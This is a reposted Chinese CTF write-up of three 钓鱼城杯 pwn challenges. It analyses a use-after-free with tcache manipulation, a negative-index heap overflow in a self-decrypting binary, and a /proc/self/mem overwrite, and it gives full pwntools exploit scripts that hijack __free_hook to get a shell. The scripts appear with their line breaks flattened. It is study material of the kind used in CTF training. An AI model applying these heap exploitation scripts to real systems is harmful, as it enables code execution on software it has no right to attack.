钓鱼城杯Pwn Writeup学习

  • A+
所属分类:逆向工程

更多全球网络安全资讯尽在邑安全

钓鱼城杯Pwn Writeup学习

钓鱼城杯Veryeasy

UAF+tcache attack

1、将tcache放满的另一种方法

将一个chunk double free到tcache中之后,连续申请这个chunk 3次,tcache这条链就会被记为-1,然后再次删除这个size的chunk就会被放入unsorted bin中,如下图:

钓鱼城杯Pwn Writeup学习

申请一次之后

钓鱼城杯Pwn Writeup学习

以此类推,申请3次之后

钓鱼城杯Pwn Writeup学习

此时变成-1之后应该是整数溢出,-1相当于最大的正数0xff大于7,所以下一个chunk会被放入unsorted bin中

本地关闭ASLR之后,Main arena和IO stdout居然不在一个内存页,挺神奇的。不过开启之后还是在同一个内存页的

钓鱼城杯Pwn Writeup学习

2、常规分析

钓鱼城杯Pwn Writeup学习

全保护

3、IDA分析

有增删改功能,但是没有show函数,所以需要修改IO stdout

  • delete函数


    钓鱼城杯Pwn Writeup学习


漏洞点,显然有UAF漏洞,但是这里有一个if判断,dword_202010最开始为9,每add一次或者edit一次就会-1,dword_20204c每删除一次就会+1

4、利用思路

由于开启了全保护且没有show函数,所以需要通过IO stdout泄露libc地址,但是限制了tcache的删除次数,所以通过向tcache里放7个chunk的方法行不通(其实好像也行,通过add和edit使dword_202010整数溢出就行,不过有点麻烦),所以这里采用上面说的方法,先double free再申请3个chunk将tcache的计数器变成-1导致整数溢出,然后再次free就会放到unsorted bin中,通过edit部分写main arena修改为IO stdout的地址,然后申请两个chunk到IO stdout 修改flags为0xfbad1887并改小writebase为0x58,泄露出libc。然后通过2次edit函数将dword_202010减为为-1整数溢出,再通过double free chunk1申请到free hook的地址,修改为system即可,getshell

5、EXP:(来自haivk师傅的exp,稍有改动)

from pwn import *#context.log_level='debug'#p=process('./veryeasy')libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def add(idx,size,content): p.recvuntil("Your choice :") p.sendline('1') p.recvuntil("id:n") p.sendline(str(idx)) p.recvuntil("please input your size:n") p.sendline(str(size)) p.recvuntil("content:n") p.send(content)
def edit(idx,content): p.recvuntil("Your choice :") p.sendline('2') p.recvuntil("id:n") p.sendline(str(idx)) p.recvuntil("content:n") p.send(content)
def delete(idx): p.recvuntil("Your choice :") p.sendline('3') p.recvuntil("id:n") p.sendline(str(idx))
def pwn(): add(0,0xf0,'a') add(1,0x10,'a') delete(0) delete(0) add(2,0xf0,'x60') add(3,0xf0,'x60') add(4,0xf0,'x60') delete(0) #edit(0,'x60x07xdd') edit(0,'x60x97') add(5,0xf0,'a') #gdb.attach(p) add(6,0xf0,p64(0xfbad1887)+p64(0)*3+'x58') #p.recvuntil('n') libcbase=u64(p.recv(6).ljust(8,'x00'))-0x3e82a0 print hex(libcbase) free_hook=libcbase+libc.sym['__free_hook'] system=libcbase+libc.sym['system'] edit(0,'a') edit(0,'a') #gdb.attach(p) delete(1) edit(1,p64(free_hook)) add(7,0x10,'/bin/shx00') add(8,0x10,p64(system)) delete(7) p.interactive()
#pwn()while True: try: p=process("./veryeasy") pwn() p.interactive() except: p.close() print ("retrying...")

   

钓鱼城杯unknown

程序自修改解密(比较逆向)+堆溢出+tcache attack

1、常规分析

 

钓鱼城杯Pwn Writeup学习

保护全开

2、IDA分析

用IDA打开后发现,里面没有什么正常的函数,无法反汇编,发现是中间有一些加密之后的指令混在函数中,导致反汇编失败。在haivk师傅的帮助下,通过IDA的动态调试,运行程序,利用程序的自修改解密,得到正常的elf文件(具体过程参照文末IDA动态调试)

  • Menu函数

钓鱼城杯Pwn Writeup学习

写得奇奇怪怪,其实就是增删改查功能

  • add函数


    钓鱼城杯Pwn Writeup学习

仔细看会发现对于idx只做了上限,没有考虑下限,所以我们可以输入负数,v3是一个int类型的数,是有正负的,所以没有整数溢出,但是仔细想想会发现向ptr[-1]这个位置写就有点意思了,这个位置在ptr地址的上面

  • delete函数

    钓鱼城杯Pwn Writeup学习


没有UAF,非常正常

  • show函数

    钓鱼城杯Pwn Writeup学习

给了show函数,挺开心的,不用再修改IO_stdout泄露libc了

  • edit函数

    钓鱼城杯Pwn Writeup学习

发现向堆中读入Size数组记录的那么多个字节

3、利用思路

粗看好像没有什么漏洞,但是仔细想想结合add和edit函数,会发现一个问题,add函数可以申请index为-1的chunk,查看一下ptr和Size数组的地址

钓鱼城杯Pwn Writeup学习

发现正好相差了0x80,而0x80/8=16,正好是16个p64长度的东西,而这些地址全是用来记录chunk的size的,所以我们申请index为负数的chunk就意味着可以修改Size数组中的size的值,而edit读入的size又是根据这个数组中的size确定的,所以我们就有了一个堆溢出漏洞。

首先将一个chunk放到unsorted bin中,用show函数泄露出libc地址,再申请index为-1的chunk,实现栈溢出,将一个free掉了的tcache chunk的fd指针修改为free hook,在通过tcache poisioning申请得到free hook,修改为system函数地址即可getshell

申请index=-1的chunk前后Size的变化

申请前

钓鱼城杯Pwn Writeup学习

申请后

钓鱼城杯Pwn Writeup学习

可以看到原本Size[15]=0,申请index=-1的chunk之后,Size[15]被修改成了堆地址,而这个值很大,所以我们可以向chunk 15中写入这么多字节的数据,实现了堆溢出,之后修改fd指针就行了

EXP:(改编自haivk师傅的exp)

from pwn import *context.log_level='debug'p=process("./unknown")libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
def add(idx,size): p.recvuntil("Your choice: ") p.sendline('1') p.recvuntil("Index: ") p.sendline(str(idx)) p.recvuntil("Size: ") p.sendline(str(size))
def edit(idx,content): p.recvuntil("Your choice: ") p.sendline('2') p.recvuntil("Index: ") p.sendline(str(idx)) #p.recvuntil("n") sleep(0.2) p.send(content)
def show(idx): p.recvuntil("Your choice: ") p.sendline('3') p.recvuntil("Index: ") p.sendline(str(idx))
def delete(idx): p.recvuntil("Your choice: ") p.sendline('4') p.recvuntil("Index: ") p.sendline(str(idx))
add(0,0x100)for i in range(1,8): add(i,0x100)for i in range(1,8): delete(i)delete(0)add(15,0)add(1,0x20)#add(9,0x30)show(15)main_arena=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))libcbase=main_arena-0x3ebda0print hex(libcbase)free_hook=libcbase+libc.sym['__free_hook']system=libcbase+libc.sym['system']gdb.attach(p)add('-1',0x20)delete(1)edit(15,'a'*0x10+p64(0)+p64(0x31)+p64(free_hook)+'n')add(2,0x20)add(3,0x20)edit(2,'/bin/shx00n')edit(3,p64(system)+'n')delete(2)p.interactive()

钓鱼城杯Fsplayground

/proc/self/maps和/proc/self/mem的理解和利用

1、前置知识

(1)/proc目录

Linux系统内核提供了一种通过/proc文件系统,在程序运行时访问内核数据,改变内核设置的机制。/proc是一种伪文件结构,也就是说是仅存在于内存中,不存在于外存中的。/proc中一般比较重要的目录是sys,net和scsi,sys目录是可写的,可以通过它来访问和修改内核的参数。

/proc中还有一些以PID命名(进程号)的进程目录,可以读取对应进程的信息。另外还有一个/self目录,用于记录本进程的信息

(2)/proc/self目录

钓鱼城杯Pwn Writeup学习

由上面的可知,我们可以通过/proc/$PID/目录来获得该进程的信息,但是这个方法需要知道进程的PID是多少,在fork、daemon等情况下,PID可能还会发生变化。所以Linux提供了self目录,来解决这个问题,这个目录比较独特,不同的进程来访问获得的信息是不同的,内容等价于/proc/本进程PID/目录下的内容。所以可以通过self目录直接获得自身的信息,不需要知道PID

(3)/proc/self/maps

钓鱼城杯Pwn Writeup学习

这个文件用于记录当前进程的内存映射关系,类似于gdb下的vmmap指令,通过读取该文件可以获得内存代码段基地址

(4)/proc/self/mem

该文件记录的是进程的内存信息,通过修改该文件相当于直接修改进程的内存。这个文件是可读可写的,但是如果直接读的话就会出现下面的报错

钓鱼城杯Pwn Writeup学习

需要结合maps的映射信息来确定读的偏移值,无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取出内容。

也可以通过写入mem文件来直接写入内存,例如直接修改代码段写入shellcode等

2、常规分析

钓鱼城杯Pwn Writeup学习

保护全开

3、IDA分析

  • menu函数

发现是一个文件读写系统

  • open函数

读取的文件名不可以包含flag字符串,所以无法直接读取flag,但是会发现只有这一个限制,所以我们可以打开除包含flag字节在内的任意文件,然后还要两个选项可以选择文件打开的状态,只读或者读写。然后只能同时打开一个文件

  • close函数

把打开的文件关闭

  • seek函数

可以切换文件中指针的位置,实现该文件任意位置的读写

  • read函数

将文件中的内容读出,并打印到终端

  • write函数

将终端输入写入到文件中

4、利用思路

因为无法打开flag随意不能直接读取flag,要想办法getshell。根据Linux的知识可知,/proc/self/maps中有内存映射关系,可以泄露libc地址,然后通过修改/proc/self/mem可以直接修改程序内存。所以思路就是打开/proc/self/maps文件读取libc地址,然后通过/proc/self/mem将free hook修改为system的地址。因为上边的write中使用了free函数并将我们输入的内容作为参数释放,所以我们可以直接在我们输入的内容中就布置/bin/sh参数

EXP:(来自NU1l战队的wp,稍作修改)

from pwn import *context.log_level='debug'p=process("./fsplayground")libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def openfile(name,option): p.recvuntil("Your choice: ") p.sendline('1') p.recvuntil("Filename: ") p.sendline(str(name)) p.recvuntil("Option: ") p.sendline(str(option))
def closefile(): p.recvuntil("Your choice: ") p.sendline('2')
def seekfile(offset): p.recvuntil("Your choice: ") p.sendline('3') p.recvuntil("Offset: ") p.sendline(str(offset))
def readfile(size): p.recvuntil("Your choice: ") p.sendline('4') p.recvuntil("Size: ") p.sendline(str(size))
def writefile(size,content): p.recvuntil("Your choice: ") p.sendline('5') p.recvuntil("Size: ") p.sendline(str(size)) p.recvuntil("Content: ") p.send(content)
openfile("/proc/self/mapsx00",0)readfile(0x1000)r=p.recvuntil("6. exit").splitlines()#这里将maps中的内容全部读入,然后用splitlines分成一行行,再通过循环寻找libc-2.27也就是libc的基地址那行,找到之后打印出来find=''for i in r: if 'libc-2.27.so' in i and 'r-xp' in i: find=i breakprint (find)libcbase=int(find[:12],16)print hex(libcbase)closefile()
openfile("/proc/self/memx00",1)seekfile(libcbase+libc.sym["__free_hook"]-8)writefile(0x10,'/bin/shx00'+p64(libcbase+libc.sym['system']))p.interactive()

参考链接:

https://www.jianshu.com/p/3fba2e5b1e17

https://blog.csdn.net/dillanzhou/article/details/82876575

IDA动态调试

IDA Pro非常强大,可以动态调试,之前一直都不太会使用,一直都是用的gdb,虽然现在会了之后还是觉得gdb比较好用2333

在钓鱼城杯的一道题中从haivk师傅那里得知了IDA动态调试的方法,可以用来解决一些程序无法直接反汇编的问题。可以尝试使用IDA动态调试,利用程序自修改解密,拿到正常的代码

1、IDA动态调试步骤(以Windows下为例)

用IDA调试ELF文件,是无法完全独立依靠Windows完成的,需要一个Linux虚拟机

(1)

首先将在Windows中的IDA文件夹里找出linux_server(64)这两个运行程序,然后将其复制到Linux中

(2)

在Linux中sudo 运行Linux_server,如果64位程序就选64位的server。

(3)

打开IDA将需要分析的bin文件拖入到IDA中,并在debugger—>selete debugger中选择remote Linux debugger

上一步完成之后,debugger就会变成下图这样,选择process options

接下来这一步很关键,很大程度上决定了能不能调试成功

在application和input file中都要填入Linux中elf文件的路径(包括程序),在dir中填入elf文件所在的文件夹路径,hostname这里需要写入Linux的ip地址,由于我做了端口映射,所以我直接填入localhost。确定即可

(4)

接下去选择start process或者选择attach to process,如果我们选择了attach这一步,那就需要在Linux中先运行要调试的程序,然后attach到这个程序的进程上即可。(两个效果不一定一样,一个远程一个本地)

(5)

接下去基本上就是正常的调试了,虽然我不太会

钓鱼城杯Pwn Writeup学习

需要注意的是,如果该程序是自修改解密的,那么解密之后的那部分数据依然是以数据的形式存在在文件中的,所以我们需要使用c(code)指令将这段数据强制转换成代码,之后create function就可以正常F5了

原文来自:安全客
原文作者:星盟安全团队

原文链接: https://www.anquanke.com/post/id/218886

欢迎收藏并分享朋友圈,让五邑人网络更安全

钓鱼城杯Pwn Writeup学习

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 




本文始发于微信公众号(邑安全):钓鱼城杯Pwn Writeup学习

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: